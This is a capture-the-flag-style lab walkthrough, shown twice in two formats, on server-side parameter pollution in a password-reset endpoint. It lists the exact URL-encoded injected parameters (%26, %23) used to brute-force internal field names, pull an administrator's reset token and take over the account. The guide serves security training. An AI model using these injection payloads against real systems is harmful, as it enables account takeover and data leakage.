HTTP Parameter Pollution (HPP & SSPP)

Lab Guide: Server-Side Parameter Pollution (SSPP) Phase 1: Exploration Discovery

Trigger the Reset Go to the login page and click "Forgot Password" for the user administrator.

Check Burp History Look for the POST /forgot-password request and the file forgotPassword.js.

Send to Repeater Right-click the POST request and send it to Repeater.

Phase 2: Testing for Injection Testing

Invalid Username Change username=administrator to administratorx. Result: Error "Invalid username".

Inject New Parameter Try adding a hidden parameter using %26 (URL-encoded &). Input: username=administrator%26x=y Result: Error "Parameter is not supported". This means the server saw x=y as a new parameter!

Truncate (Cut) the Request Try using %23 (URL-encoded #) to cut the internal query. Input: username=administrator%23 Result: Error "Field not specified". This tells us the internal API expects a parameter named field.

Phase 3: Finding the Secret Field Exploitation

Inject the Field Try to add the field parameter manually. Input: username=administrator%26field=x%23 Result: Error "Invalid field". This confirms the field parameter exists.

Brute-force Field Names Send the request to Intruder. Set position: username=administrator%26field=§x§%23. Use the list: Server-side variable names. Result: Two names work (username and email) with a 200 OK.

Phase 4: Getting the Token The Hack

Verify Email Field Change field to email. Input: username=administrator%26field=email%23. It works, but doesn't give us the token yet.

Analyze JavaScript Read forgotPassword.js. You will see a variable called reset_token.

Extract Token Change the field to reset_token. Input: username=administrator%26field=reset_token%23. Result: The server gives you the Actual Reset Token in the response!

Phase 5: Reset & Admin Access Final Steps

Use the Token In your browser, go to: /forgot-password?reset_token=[PASTE_YOUR_TOKEN_HERE]

Change Password Set a new password for the administrator.

Login Log in as administrator with your new password.

Delete Carlos Go to the Admin Panel and delete the user carlos to finish.

Server-Side Parameter Pollution: lab guide#

1. What is HTTP Parameter Pollution (HPP)? (Simple English)#

HTTP Parameter Pollution (HPP) happens when an attacker sends extra or duplicated parameters in an HTTP request. This can confuse the server and make it behave in an unexpected way.

Example: username=admin&role=admin

If the server does not validate parameters correctly, this can lead to security issues.

2. What is Server-Side Parameter Pollution (SSPP)?#

Server-Side Parameter Pollution (SSPP) happens when user input is used to build internal server-side requests. An attacker can inject new parameters that the backend API was not expecting.

This can allow:

• Reading hidden parameters
• Leaking sensitive data
• Bypassing access controls

Lab Guide: Server-Side Parameter Pollution (SSPP)#

Phase 1: Exploration#

Trigger the Reset

• Go to the login page
• Click "Forgot Password"
• Use username: administrator

Check Burp History

• Find POST /forgot-password
• Notice forgotPassword.js

Send to Repeater

• Send POST request to Repeater

Phase 2: Testing for Injection#

Invalid Username

username=administratorx
Result: Invalid username

Inject New Parameter

username=administrator%26x=y
Result: Parameter is not supported

Truncate the Request

username=administrator%23
Result: Field not specified

Phase 3: Finding the Secret Field#

Inject field Parameter

username=administrator%26field=x%23
Result: Invalid field

Brute-force Field Names

Payload: username=administrator%26field=§x§%23

Valid fields:

• username
• email

Phase 4: Getting the Token#

Test Email Field

username=administrator%26field=email%23

Analyze JavaScript

Variable found: reset_token

Extract Token

username=administrator%26field=reset_token%23
Result: Reset token returned

Phase 5: Reset & Admin Access#

Use the Token

/forgot-password?reset_token=YOUR_TOKEN

Change Password

Set a new password for administrator

Login & Finish

• Login as administrator
• Delete user carlos

Key Takeaways#

• SSPP abuses unsafe server-side parameter handling
• Encoded characters like %26 and %23 are critical
• JavaScript analysis is very important